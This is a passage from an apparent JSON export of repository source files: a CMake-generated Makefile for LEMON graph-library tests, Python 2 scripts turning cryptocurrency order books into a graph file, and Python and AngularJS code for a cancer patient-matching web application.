\"... max_flow_test\"\n\t@echo \"... adaptors_test\"\n\t@echo \"... adaptors_test.o\"\n\t@echo \"... adaptors_test.i\"\n\t@echo \"... adaptors_test.s\"\n\t@echo \"... arc_look_up_test.o\"\n\t@echo \"... arc_look_up_test.i\"\n\t@echo \"... arc_look_up_test.s\"\n\t@echo \"... bellman_ford_test.o\"\n\t@echo \"... bellman_ford_test.i\"\n\t@echo \"... bellman_ford_test.s\"\n\t@echo \"... bfs_test.o\"\n\t@echo \"... bfs_test.i\"\n\t@echo \"... bfs_test.s\"\n\t@echo \"... bpgraph_test.o\"\n\t@echo \"... bpgraph_test.i\"\n\t@echo \"... bpgraph_test.s\"\n\t@echo \"... circulation_test.o\"\n\t@echo \"... circulation_test.i\"\n\t@echo \"... circulation_test.s\"\n\t@echo \"... connectivity_test.o\"\n\t@echo \"... connectivity_test.i\"\n\t@echo \"... connectivity_test.s\"\n\t@echo \"... counter_test.o\"\n\t@echo \"... counter_test.i\"\n\t@echo \"... counter_test.s\"\n\t@echo \"... dfs_test.o\"\n\t@echo \"... dfs_test.i\"\n\t@echo \"... dfs_test.s\"\n\t@echo \"... digraph_test.o\"\n\t@echo \"... digraph_test.i\"\n\t@echo \"... digraph_test.s\"\n\t@echo \"... dijkstra_test.o\"\n\t@echo \"... dijkstra_test.i\"\n\t@echo \"... dijkstra_test.s\"\n\t@echo \"... dim_test.o\"\n\t@echo \"... dim_test.i\"\n\t@echo \"... dim_test.s\"\n\t@echo \"... edge_set_test.o\"\n\t@echo \"... edge_set_test.i\"\n\t@echo \"... edge_set_test.s\"\n\t@echo \"... error_test.o\"\n\t@echo \"... error_test.i\"\n\t@echo \"... error_test.s\"\n\t@echo \"... euler_test.o\"\n\t@echo \"... euler_test.i\"\n\t@echo \"... euler_test.s\"\n\t@echo \"... fractional_matching_test.o\"\n\t@echo \"... fractional_matching_test.i\"\n\t@echo \"... fractional_matching_test.s\"\n\t@echo \"... gomory_hu_test.o\"\n\t@echo \"... gomory_hu_test.i\"\n\t@echo \"... gomory_hu_test.s\"\n\t@echo \"... graph_copy_test.o\"\n\t@echo \"... graph_copy_test.i\"\n\t@echo \"... graph_copy_test.s\"\n\t@echo \"... graph_test.o\"\n\t@echo \"... graph_test.i\"\n\t@echo \"... graph_test.s\"\n\t@echo \"... graph_utils_test.o\"\n\t@echo \"... graph_utils_test.i\"\n\t@echo \"... graph_utils_test.s\"\n\t@echo \"... hao_orlin_test.o\"\n\t@echo \"... hao_orlin_test.i\"\n\t@echo \"... hao_orlin_test.s\"\n\t@echo \"... heap_test.o\"\n\t@echo \"... heap_test.i\"\n\t@echo \"... heap_test.s\"\n\t@echo \"... kruskal_test.o\"\n\t@echo \"... kruskal_test.i\"\n\t@echo \"... kruskal_test.s\"\n\t@echo \"... lgf_reader_writer_test.o\"\n\t@echo \"... lgf_reader_writer_test.i\"\n\t@echo \"... lgf_reader_writer_test.s\"\n\t@echo \"... lgf_test.o\"\n\t@echo \"... lgf_test.i\"\n\t@echo \"... lgf_test.s\"\n\t@echo \"... maps_test.o\"\n\t@echo \"... maps_test.i\"\n\t@echo \"... maps_test.s\"\n\t@echo \"... matching_test.o\"\n\t@echo \"... matching_test.i\"\n\t@echo \"... matching_test.s\"\n\t@echo \"... max_cardinality_search_test.o\"\n\t@echo \"... max_cardinality_search_test.i\"\n\t@echo \"... max_cardinality_search_test.s\"\n\t@echo \"... max_clique_test.o\"\n\t@echo \"... max_clique_test.i\"\n\t@echo \"... max_clique_test.s\"\n\t@echo \"... max_flow_test.o\"\n\t@echo \"... max_flow_test.i\"\n\t@echo \"... max_flow_test.s\"\n\t@echo \"... min_cost_arborescence_test.o\"\n\t@echo \"... min_cost_arborescence_test.i\"\n\t@echo \"... min_cost_arborescence_test.s\"\n\t@echo \"... min_cost_flow_test.o\"\n\t@echo \"... min_cost_flow_test.i\"\n\t@echo \"... min_cost_flow_test.s\"\n\t@echo \"... min_mean_cycle_test.o\"\n\t@echo \"... min_mean_cycle_test.i\"\n\t@echo \"... min_mean_cycle_test.s\"\n\t@echo \"... nagamochi_ibaraki_test.o\"\n\t@echo \"... nagamochi_ibaraki_test.i\"\n\t@echo \"... nagamochi_ibaraki_test.s\"\n\t@echo \"... path_test.o\"\n\t@echo \"... path_test.i\"\n\t@echo \"... path_test.s\"\n\t@echo \"... planarity_test.o\"\n\t@echo \"... planarity_test.i\"\n\t@echo \"... planarity_test.s\"\n\t@echo \"... radix_sort_test.o\"\n\t@echo \"... radix_sort_test.i\"\n\t@echo \"... radix_sort_test.s\"\n\t@echo \"... random_test.o\"\n\t@echo \"... random_test.i\"\n\t@echo \"... random_test.s\"\n\t@echo \"... suurballe_test.o\"\n\t@echo \"... suurballe_test.i\"\n\t@echo \"... suurballe_test.s\"\n\t@echo \"... time_measure_test.o\"\n\t@echo \"... time_measure_test.i\"\n\t@echo \"... time_measure_test.s\"\n\t@echo \"... tsp_test.o\"\n\t@echo \"... tsp_test.i\"\n\t@echo \"... tsp_test.s\"\n\t@echo \"... unionfind_test.o\"\n\t@echo \"... unionfind_test.i\"\n\t@echo \"... unionfind_test.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.686274528503418, "alphanum_fraction": 0.6918767690658569, "avg_line_length": 24.285715103149414, "blob_id": "2b5db7f3b57b22d3b36aee94ed7587b8b5d08a66", "content_id": "65830df342882f050bc4a737a342db274ee35c33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 357, "license_type": "no_license", "max_line_length": 61, "num_lines": 14, "path": "/DataExtraction/InititialPrice.py", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "import json\ntokens=set()\nwith open (\"active_markets.json\") as f:\n\tactive_work=json.load(f)\n\tfor a in active_work:\n\t\tprint a['MarketName'],a['BaseCurrency'],a['MarketCurrency']\n\t\ttokens.add(a[\"BaseCurrency\"])\n\t\ttokens.add(a[\"MarketCurrency\"])\nprint tokens\nprices={}\nfor t in tokens:\n\tprices[t]=1.0\nwith open(\"prices.json\",\"w\") as f: \n\tjson.dump(prices,f)\t\t\n\n" }, { "alpha_fraction": 0.6254114508628845, "alphanum_fraction": 0.6287031173706055, "avg_line_length": 35.85365676879883, "blob_id": "de926fd1f0823c3d5bcdb86816c351ec834a4734", "content_id": "ffdba9e7c43a3cdfd5270f6ca20a86a4de7f5533", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1519, "license_type": "no_license", "max_line_length": 87, "num_lines": 41, "path": "/20180701/DataExtraction/OrderBookExtract.py", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "import json\nwith open(\"prices.json\") as f:\n\tprices=json.load(f)\nwith open(\"graph.lgf\",'w') as h:\n\tprint >>h,'@nodes'\n\tprint >>h,'label'\n\tfor t in prices:\n\t\tprint >>h,t\n\tprint >>h\n\tprint >>h,'@arcs'\n\tprint >>h, 'capacity','cost','order_id'\n\twith open(\"graph_order_id.lgf\",'w') as hh:\n\t\tprint >> hh,'sell_or_buy'\n\tExampleSet = set(['BTC-2GIVE','BTC-BURST','BTC-NMR','ETH-ADA','ETH-TRST','USDT-BTC']) \n\twith open (\"active_markets.json\") as f:\n\t\tactive_work=json.load(f)\n\t\tfor a in active_work:\n\t\t\tif (a['MarketName'] in ExampleSet): \n\t\t\t\tprint a['MarketName'],a['BaseCurrency'],a['MarketCurrency']\n\t\t\t\tp_base=prices[a[\"BaseCurrency\"]]\n\t\t\t\tp_market=prices[a[\"MarketCurrency\"]]\n\t\t\t\tif (a['MarketName'] in ExampleSet):\n\t\t\t\t\twith open (a['MarketName']+\".json\") as g:\n\t\t\t\t\t\torder_book =json.load(g)\n\t\t\t\tprint len(order_book[\"sell\"]),len(order_book[\"buy\"])\n\t\t\t\tfor s in order_book[\"sell\"]:\n\t\t\t\t\trate=s[\"Rate\"]\n\t\t\t\t\tquantity=s[\"Quantity\"]\n\t\t\t\t\torder_id=s[\"order_id\"]\n\t\t\t\t\tcapacity=rate*quantity*prices[a[\"BaseCurrency\"]]\n\t\t\t\t\tcost=1.0-(prices[a[\"MarketCurrency\"]]/(prices[a[\"BaseCurrency\"]]*rate))\n\t\t\t\t\tprint >>h, a[\"BaseCurrency\"],a[\"MarketCurrency\"],capacity,cost,order_id\n\t\t\t\t\tfor s in order_book[\"buy\"]:\n\t\t\t\t\t\trate=s[\"Rate\"]\n\t\t\t\t\tquantity=s[\"Quantity\"]\n\t\t\t\t\torder_id=s[\"order_id\"]\n\t\t\t\t\tcapacity=quantity*prices[a[\"MarketCurrency\"]]\n\t\t\t\t\tcost=1.0-((prices[a[\"MarketCurrency\"]]*rate)/prices[a[\"MarketCurrency\"]])\n\t\t\t\t\tprint >>h, a[\"MarketCurrency\"],a[\"BaseCurrency\"],capacity, cost, order_id\n\t\t\t\t\tcontinue\n\t\t\t\tcontinue \t\n\t\t\t\n\n\n" } ]
10
splovyt/PatientMatchingAlgorithm
https://github.com/splovyt/PatientMatchingAlgorithm
322fa7381fcf7881e521e3b352b9b59d1463f917
1a0ea084f680fac37dcd016f810ded5e05d47fba
68dd46cd2bc4644ebd2d6cdfed66dcc97fcb8719
refs/heads/master
2020-04-13T12:58:15.635952
2018-12-26T21:33:12
2018-12-26T21:33:12
163,217,042
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6334139704704285, "alphanum_fraction": 0.6342200636863708, "avg_line_length": 37.765625, "blob_id": "42fb54373f3cac2f1d49420a9be5d3014165742f", "content_id": "18007d268fd6de16890330ca81a856b8f895efe9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4962, "license_type": "no_license", "max_line_length": 115, "num_lines": 128, "path": "/computation_and_database/controllers/CancerTypeController.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from controllers.ControllerContext import ControllerContext\nfrom domain.state.CancerType import CancerType\nfrom domain.state.CancerSubtype import CancerSubtype\nfrom typing import Mapping, Sequence, Iterable\nfrom threading import RLock\n\n\nclass CancerTypeController:\n\n def __init__(self, controller_context: ControllerContext):\n self.__lock = RLock()\n self.__controller_context = controller_context\n self.__biology = controller_context.biology\n self.__cancer_type_id_counter = 0\n self.__cancer_subtype_id_counter = 0\n self.__subtypes_per_type = dict()\n for cancer_type in controller_context.domain_initializer.cancer_types:\n self.__add_cancer_type(cancer_type)\n for cancer_subtype in controller_context.domain_initializer.cancer_subtypes:\n self.__add_cancer_subtype(cancer_subtype)\n\n @property\n def cancer_type_ids(self):\n return self.__controller_context.get_cancer_type_ids()\n\n def get_cancer_type_names_per_nomenclature(self, cancer_type_id: int) -> \\\n Mapping[str, Sequence[str]]:\n\n with self.__lock:\n cancer_type = self.__controller_context.get_cancer_type_for_id(cancer_type_id)\n\n return self.__get_cancer_type_names_per_nomenclature(cancer_type)\n\n def __get_cancer_type_names_per_nomenclature(self, cancer_type: CancerType) -> \\\n Mapping[str, Sequence[str]]:\n names_per_nomenclature = dict()\n\n for (name, nomenclature) in self.__biology\\\n .cancer_type_metanomenclature\\\n .get_nomenclatures_per_name():\n names_per_nomenclature[name] =\\\n list(nomenclature.get_names_for_object(cancer_type))\n\n return names_per_nomenclature\n\n def get_cancer_subtype_ids_for_type(self, cancer_type_id: int) -> Sequence[int]:\n with self.__lock:\n ids = self.__subtypes_per_type[cancer_type_id].keys()\n if ids is not None:\n ids = list(ids)\n else:\n ids = list()\n return ids\n\n def __add_cancer_type(self, cancer_type: CancerType) -> int:\n with self.__lock:\n cancer_type_index = self.__cancer_type_id_counter\n self.__controller_context.set_id_for_cancer_type(cancer_type, cancer_type_index)\n self.__subtypes_per_type[cancer_type_index] = dict()\n self.__cancer_type_id_counter += 1\n\n return cancer_type_index\n\n def make_cancer_type(self, names_per_nomenclature: Mapping[str, Iterable[str]]) -> int:\n cancer_type = CancerType()\n\n metanomenclature = self.__biology.cancer_type_metanomenclature\n\n self.__controller_context.add_names_to_metanomenclature(\n metanomenclature=metanomenclature,\n object=cancer_type,\n names_per_nomenclature=names_per_nomenclature\n )\n\n return self.__add_cancer_type(\n cancer_type=cancer_type\n )\n\n def get_cancer_subtype_names_per_nomenclature(self, cancer_type_id: int, cancer_subtype_id: int) -> \\\n Mapping[str, Sequence[str]]:\n\n with self.__lock:\n cancer_subtype = self.__subtypes_per_type[cancer_type_id][cancer_subtype_id]\n\n return self.__get_cancer_subtype_names_per_nomenclature(cancer_subtype)\n\n def __get_cancer_subtype_names_per_nomenclature(self, cancer_subtype: CancerSubtype) -> \\\n Mapping[str, Sequence[str]]:\n names_per_nomenclature = dict()\n\n for (name, nomenclature) in self.__biology\\\n .cancer_subtype_metanomenclature\\\n .get_nomenclatures_per_name():\n names_per_nomenclature[name] =\\\n list(nomenclature.get_names_for_object(cancer_subtype))\n\n return names_per_nomenclature\n\n def make_cancer_subtype(self, cancer_type_id: int, names_per_nomenclature: Mapping[str, Iterable[str]]) -> int:\n with self.__lock:\n cancer_type = self.__controller_context.get_cancer_type_for_id(cancer_type_id)\n subtype = CancerSubtype(cancer_type)\n\n metanomenclature = self.__biology.cancer_subtype_metanomenclature\n\n self.__controller_context.add_names_to_metanomenclature(\n metanomenclature=metanomenclature,\n object=subtype,\n names_per_nomenclature=names_per_nomenclature\n )\n\n return self.__add_cancer_subtype(subtype)\n\n def __add_cancer_subtype(self, subtype: CancerSubtype) -> int:\n with self.__lock:\n cancer_type_id = self.__controller_context.get_id_for_cancer_type(subtype.cancer_type)\n\n subtype_index = self.__cancer_subtype_id_counter\n\n self.__subtypes_per_type[cancer_type_id][subtype_index] = subtype\n self.__cancer_subtype_id_counter += 1\n\n self.__controller_context.set_id_for_cancer_subtype(\n subtype=subtype,\n subtype_id=subtype_index\n )\n\n return subtype_index\n" }, { "alpha_fraction": 0.6821408867835999, "alphanum_fraction": 0.6832332015037537, "avg_line_length": 40.6363639831543, "blob_id": "375a1ae9d43ab4e4d4cffdd5f0013b4f90e7a4e6", "content_id": "8e1e494ca05e8dc8f95c640bdc9bc79bdfab21a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1831, "license_type": "no_license", "max_line_length": 113, "num_lines": 44, "path": "/computation_and_database/api/request_handlers/CancerSubtypeListRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\nfrom api.request_handlers.CancerSubtypeRequestHandler import CancerSubtypeRequestHandler\n\n\nclass CancerSubtypeListRequestHandler:\n endpoint = \"/cancer-types/{id}/subtypes/\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n controller_facade = general_request_handler.server.controller_facade\n\n json_object = {\n 'self': {'href': general_request_handler.self_url},\n 'cancer_type': {'href': general_request_handler.self_url.replace(\"subtypes/\", \"\")},\n 'cancer_subtypes': []\n }\n\n for subtype_id in controller_facade.get_cancer_subtype_ids_for_type(int(general_request_handler.ids[0])):\n json_object['cancer_subtypes'].append(\n {'href': general_request_handler.self_url + str(subtype_id) + '/'}\n )\n\n general_request_handler.send_json_response(json_object)\n\n def post(self, general_request_handler: GeneralRequestHandler):\n names_per_nomenclature = general_request_handler.input_json_object.get('names_per_nomenclature')\n\n # Check for syntax errors\n if not general_request_handler.check_names_per_nomenclature_structure(names_per_nomenclature):\n return\n\n cancer_type_id = int(general_request_handler.ids[0])\n\n\n controller_facade = general_request_handler.server.controller_facade\n subtype_id = controller_facade.make_cancer_subtype(cancer_type_id, names_per_nomenclature)\n\n if cancer_type_id not in controller_facade.cancer_type_ids:\n general_request_handler.send_resource_not_found()\n return\n\n CancerSubtypeRequestHandler().get_for_id(\n general_request_handler=general_request_handler,\n subtype_id=subtype_id\n )" }, { "alpha_fraction": 0.5643596649169922, "alphanum_fraction": 0.5659767389297485, "avg_line_length": 32.074867248535156, "blob_id": "73e24ee299e6f56b2e3b1f4f51cc6e76baabcfc3", "content_id": "16691b0a1493ddb64b84e17ee5758b7a0e5ec341", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6184, "license_type": "no_license", "max_line_length": 120, "num_lines": 187, "path": "/frontend/controllers/patients.js", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "/**\n * Created by milan on 24/03/17.\n */\n\n\ndoa.controller('PatientsCtrl', function($scope, $q, apiService) {\n\n $scope.firstPage = function() {\n $scope.cancerSubtypesListReadyDeferred = $q.defer();\n getCancerSubtypesList();\n $scope.cancerSubtypesListReadyDeferred.promise.then(\n function(results) {\n apiService.withPatientsUrl(function (url) {\n loadPage(url)\n })\n }, function (errors) {\n alert(\"error while fetching cancer subtypes\")\n });\n };\n\n $scope.firstPage();\n $scope.patientsLoading = true;\n $scope.addingPatient = false;\n $scope.inputPatient = {};\n $scope.viewingPatient = false;\n $scope.showMut = false;\n $scope.showMet = false;\n $scope.showExp = false;\n $scope.showCnv = false;\n\n $scope.search = function () {\n apiService.withPatientsUrl(function (url) {\n var searchUrl = url + \"&query=\" + $scope.query;\n $scope.query = \"\"\n loadPage(searchUrl)\n })\n };\n\n $scope.nextPage = function() {\n loadPage($scope.nextPageUrl)\n };\n\n $scope.previousPage = function() {\n loadPage($scope.previousPageUrl)\n };\n\n $scope.addPatient = function () {\n $scope.addingPatient = true;\n };\n\n $scope.submitPatient = function () {\n apiService.withPatientsUrl(function (url) {\n apiService.post(\n url,\n $scope.inputPatient,\n function (result) {\n alert(\"Patient submitted succesfully. Patient id is \" + result.id);\n $scope.finishAddingPatient();\n }\n );\n });\n };\n\n $scope.finishAddingPatient = function () {\n $scope.inputPatient={};\n $scope.addingPatient = false;\n };\n\n $scope.viewPatient = function (patient) {\n $scope.selectedPatient = patient;\n addAberrations(patient)\n $scope.viewingPatient = true\n }\n \n $scope.hideSelectedPatient = function () {\n $scope.viewingPatient = false\n $scope.selectedPatient.mutationVafs = null\n };\n\n function loadPage(url) {\n $scope.patientsLoading = true\n apiService.get(url, function (data) {\n extractPatients(data.patients)\n $scope.nextPageUrl = data.next_page.href\n $scope.previousPageUrl = data.previous_page.href\n })\n }\n\n // Get the patients from a list of links (in format {href:url})\n function extractPatients(linkList) {\n $scope.patients = []\n apiService.extractObjectsFromListWithCallback(linkList, addCancerInfo)\n .then(function (results) {\n $scope.patientsLoading = false\n })\n }\n\n function addCancerInfo(patients){\n for(var i=0;i<patients.length;i++) {\n var patient = patients[i]\n $scope.patients.push(patient)\n if('cancer_subtype' in patient) {\n patient.cancerSubtypeName = $scope.cancerSubtypesPerUrl[patient.cancer_subtype.href];\n }\n else {\n patient.cancerSubtypeName = \"unknown\"\n }\n }\n }\n\n function addAberrations(patient){\n function userFriendlyAberrationMap(aberrationMap) {\n if(angular.equals(aberrationMap, {})){\n return {'empty':''};\n } else {\n return aberrationMap\n }\n }\n\n patient.mutationVafs = {'loading':'...'};\n patient.expressions = {'loading':'...'};\n patient.methylations = {'loading':'...'};\n patient.cnvs = {'loading':'...'};\n apiService.get(patient.gene_aberrations.href, function (data) {\n patient.mutationVafs = userFriendlyAberrationMap(data.mutated_gene_vafs);\n patient.expressions = userFriendlyAberrationMap(data.expressions);\n patient.methylations = userFriendlyAberrationMap(data.methylations);\n patient.cnvs = userFriendlyAberrationMap(data.cnvs);\n });\n }\n\n function getCancerSubtypesList(){\n $scope.cancerSubtypeUrls = {};\n $scope.cancerSubtypesPerUrl = {};\n apiService.withCancerTypesUrl(function (url) {\n apiService.get(url, function (data) {\n apiService.extractObjectsFromListWithCallback(data.cancer_types, getCancerSubtypesListFromTypesList)\n })\n })\n }\n\n function getCancerSubtypesListFromTypesList(cancerTypes) {\n var calls = []\n for(var i=0;i<cancerTypes.length;i++) {\n var cancerType = cancerTypes[i]\n calls.push(fillCancerSubtypesListForType(cancerType))\n }\n\n $q.all(calls).then(\n function (results) {\n $scope.cancerSubtypesListReadyDeferred.resolve(results)\n }, function (errors) {\n $scope.cancerSubtypesListReadyDeferred.reject(errors)\n }\n )\n }\n \n function fillCancerSubtypesListForType(cancerType) {\n var cancerTypeName = cancerType.names_per_nomenclature.default[0]\n var calls = []\n var deferred = $q.defer()\n apiService.get(cancerType.subtypes.href, function (subtypesData) {\n calls.push(apiService.extractObjectsFromListWithCallback(subtypesData.cancer_subtypes, function (subtypes) {\n for(var i=0;i<subtypes.length;i++) {\n var subtype = subtypes[i]\n var subtypeName = subtype.names_per_nomenclature.default\n var completeName = cancerTypeName + ': ' + subtypeName\n $scope.cancerSubtypeUrls[completeName] = subtype.self.href\n $scope.cancerSubtypesPerUrl[subtype.self.href] = completeName\n }\n }))\n }).then(function (results) {\n $q.all(calls).then(\n function (results) {\n deferred.resolve(results)\n }, function (errors) {\n deferred.reject(errors)\n }\n )\n }, function (errors) {\n deferred.reject(errors)\n })\n\n return deferred.promise\n }\n\n});" }, { "alpha_fraction": 0.7700534462928772, "alphanum_fraction": 0.7807486653327942, "avg_line_length": 33, "blob_id": "bcc379b47387f6012402ddf7758e80b9a63a1eb9", "content_id": "26621eef9b491a3234c67ec6983054c9baa82515", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 374, "license_type": "no_license", "max_line_length": 127, "num_lines": 11, "path": "/README.md", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "# NAOMI: a network-based web application for matching cancer patients by integrating multiple data types.\n\nDate: 2016\n\nTeam members: M Misonne, M Bracke, M Deprez, S Plovyt, LPCV\n\nDocumentation can be found in the Paper.pdf document.\n\n### Example output\n\n![alt text](https://raw.githubusercontent.com/splovyt/PatientMatchingAlgorithm/master/documentation/application-screenshot.png)\n" }, { "alpha_fraction": 0.6416772603988647, "alphanum_fraction": 0.6442185640335083, "avg_line_length": 31.83333396911621, "blob_id": "a246353bfc5904cc0a416ac1566305ca384e15a6", "content_id": "4339b07c3da7fe1b6784ee8783b6a191a4dc845f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 787, "license_type": "no_license", "max_line_length": 62, "num_lines": 24, "path": "/computation_and_database/controllers/ComputationMethodController.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from controllers.ControllerContext import ControllerContext\nfrom typing import Iterable\n\n\nclass ComputationMethodController:\n\n def __init__(self, controller_context: ControllerContext):\n assert controller_context is not None\n self.__controller_context = controller_context\n methods = controller_context.domain_initializer.\\\n similar_patients_computation_methods\n self.__methods_per_id = dict()\n id = 0\n for method in methods:\n self.__methods_per_id[id] = method\n id = id + 1\n\n @property\n def method_ids(self) -> Iterable[int]:\n return self.__methods_per_id.keys()\n\n def get_method_name_for_id(self, id: int) -> str:\n method = self.__methods_per_id.get(id)\n return method.name" }, { "alpha_fraction": 0.692307710647583, "alphanum_fraction": 0.692307710647583, "avg_line_length": 31.372093200683594, "blob_id": "84ff7869adb3b773919329a4962334cf0810ab2e", "content_id": "9b37fd2383d03e6d8568042175bc033abc47e487", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1391, "license_type": "no_license", "max_line_length": 84, "num_lines": 43, "path": "/computation_and_database/domain/state/SimilarPatientList.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.Patient import Patient as Patient\nfrom domain.state.SimilarPatient import SimilarPatient as SimilarPatient\nfrom domain.state.SimilarPatientsComputationMethod import\\\n SimilarPatientsComputationMethod as SimilarPatientsComputationMethod\nfrom typing import Sequence, Iterable\nfrom datetime import date\n\n\nclass SimilarPatientList:\n\n def __init__(self, patient: Patient, similar_patients: Sequence[SimilarPatient],\n used_data_sources: Iterable, creation_date: date,\n used_method: SimilarPatientsComputationMethod):\n assert patient is not None\n assert similar_patients is not None\n assert used_data_sources is not None\n assert creation_date is not None\n assert used_method is not None\n self.__patient = patient\n self.__similar_patients = similar_patients\n self.__used_data_sources = used_data_sources\n self.__creation_date = creation_date\n self.__used_method = used_method\n\n @property\n def patient(self):\n return self.__patient\n\n @property\n def similar_patients(self):\n return self.__similar_patients\n\n @property\n def used_data_sources(self):\n return self.__used_data_sources\n\n @property\n def creation_date(self):\n return self.__creation_date\n\n @property\n def used_method(self):\n return self.__used_method" }, { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7307692170143127, "avg_line_length": 12.5, "blob_id": "a86342919f4a42cf3c73d03ad54131d7bb0804d1", "content_id": "6db9420faadac81dbd9b485e8ce0c7dd918d65af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26, "license_type": "no_license", "max_line_length": 17, "num_lines": 2, "path": "/computation_and_database/domain/state/CancerType.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "class CancerType:\n pass" }, { "alpha_fraction": 0.795918345451355, "alphanum_fraction": 0.795918345451355, "avg_line_length": 48.5, "blob_id": "fc355bd9f4e338a23a2b65ed544fc03900322067", "content_id": "90e0d54a945e2435440f5ef3883be6e249aea226", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 98, "license_type": "no_license", "max_line_length": 54, "num_lines": 2, "path": "/computation_and_database/api/request_handlers/SimilarPatientListListRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "class SimilarPatientListListRequestHandler:\n endpoint = \"/patients/{id}/similar-patient-lists/\"" }, { "alpha_fraction": 0.5450266599655151, "alphanum_fraction": 0.5487919449806213, "avg_line_length": 28.794391632080078, "blob_id": "e47e9b377943fb81e14d8faf9932390dd2720893", "content_id": "2fb6e93ed696bc9d89719e33e4b1018b7a12d46b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3187, "license_type": "no_license", "max_line_length": 99, "num_lines": 107, "path": "/frontend/controllers/general.js", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "/**\n * Created by milan on 24/03/17.\n */\n\nvar doa = angular.module('doa', ['ngRoute']);\n\ndoa.config(['$routeProvider', '$locationProvider', function($routeProvider, $locationProvider) {\n\n $routeProvider\n .when('/', {\n templateUrl: \"templates/home.html\",\n controller:'HomeCtrl'\n })\n .when('/patients/', {\n templateUrl: \"templates/patients.html\",\n controller:'PatientsCtrl'\n })\n .when('/cancer-types/', {\n templateUrl: \"templates/cancer-types.html\",\n controller: 'CancerTypesCtrl'\n })\n .otherwise({\n template: \"Not found.\"\n }\n );\n}]);\n\ndoa.service('apiService', function ($http, $q) {\n var homeUrl = \"http://localhost:8080/\";\n\n var get = function (url, callback) { //The callback will get the data as argument\n\n return $http.get(url)\n .then(function (response) {\n response = response.data;\n callback(response)\n }, function (errors) {\n alert(\"An error occurred while requesting the data from the server.\");\n });\n };\n\n var post = function (url, data, callback) { //The callback will get the data as argument\n\n return $http.post(url, data)\n .then(function (response) {\n response = response.data;\n callback(response)\n }, function (errors) {\n alert(\"An error occurred while sending data to the server.\");\n });\n };\n\n // Get objects from a list of links (in format {href:url})\n var extractObjectsFromList = function(linkList) {\n var objects = []\n\n for(var i = 0; i < linkList.length; i++){\n get(linkList[i].href, function (object) {\n objects.push(object)\n })\n }\n\n return objects\n }\n\n // Get objects from a list of links (in format {href:url}) and execute a given function on them\n // Returns a promise\n var extractObjectsFromListWithCallback = function(linkList, callback) {\n var objects = []\n var calls = []\n\n for(var i = 0; i < linkList.length; i++){\n calls.push(get(linkList[i].href, function (object) {\n objects.push(object)\n }))\n }\n\n return $q.all(calls)\n .then(function(results){\n callback(objects)\n }, function(errors){\n callback({\"error\": \"An error occurred while extracting objects from a list.\"})\n })\n }\n\n var withPatientsUrl = function (callback) {\n get(homeUrl, function (data) {\n callback(data.patients.first_page.href)\n })\n };\n\n var withCancerTypesUrl = function (callback) {\n get(homeUrl, function (data) {\n callback(data.cancer_types.href)\n })\n };\n\n return {\n get: get,\n post: post,\n withPatientsUrl: withPatientsUrl,\n withCancerTypesUrl: withCancerTypesUrl,\n extractObjectsFromList: extractObjectsFromList,\n extractObjectsFromListWithCallback: extractObjectsFromListWithCallback,\n homeUrl: homeUrl\n };\n});" }, { "alpha_fraction": 0.6750509738922119, "alphanum_fraction": 0.6750509738922119, "avg_line_length": 32.431819915771484, "blob_id": "c530b4681a66603f0df2c78b419b2c3e64805e29", "content_id": "ae917e23228cef1f127395ee45363be7e78654f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1471, "license_type": "no_license", "max_line_length": 78, "num_lines": 44, "path": "/computation_and_database/domain/state/GeneAberrationRecord.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.GeneAberrationSet import GeneAberrationSet as \\\n GeneAberrationSet\nfrom threading import RLock as RLock\nfrom typing import Iterable, TypeVar, Generic\n\n\n# The score for a gene\nScore = TypeVar('Score')\n\n\nclass GeneAberrationRecord(Generic[Score]):\n \"\"\"\n GeneAberrationSets stored per data source.\n If required this can be optimized for memory by only fetching\n the sets from the database when needed.\n \"\"\"\n\n def __init__(self):\n self.__aberration_set_per_source = dict()\n self.__lock = RLock()\n\n def clear(self):\n self.__aberration_set_per_source = 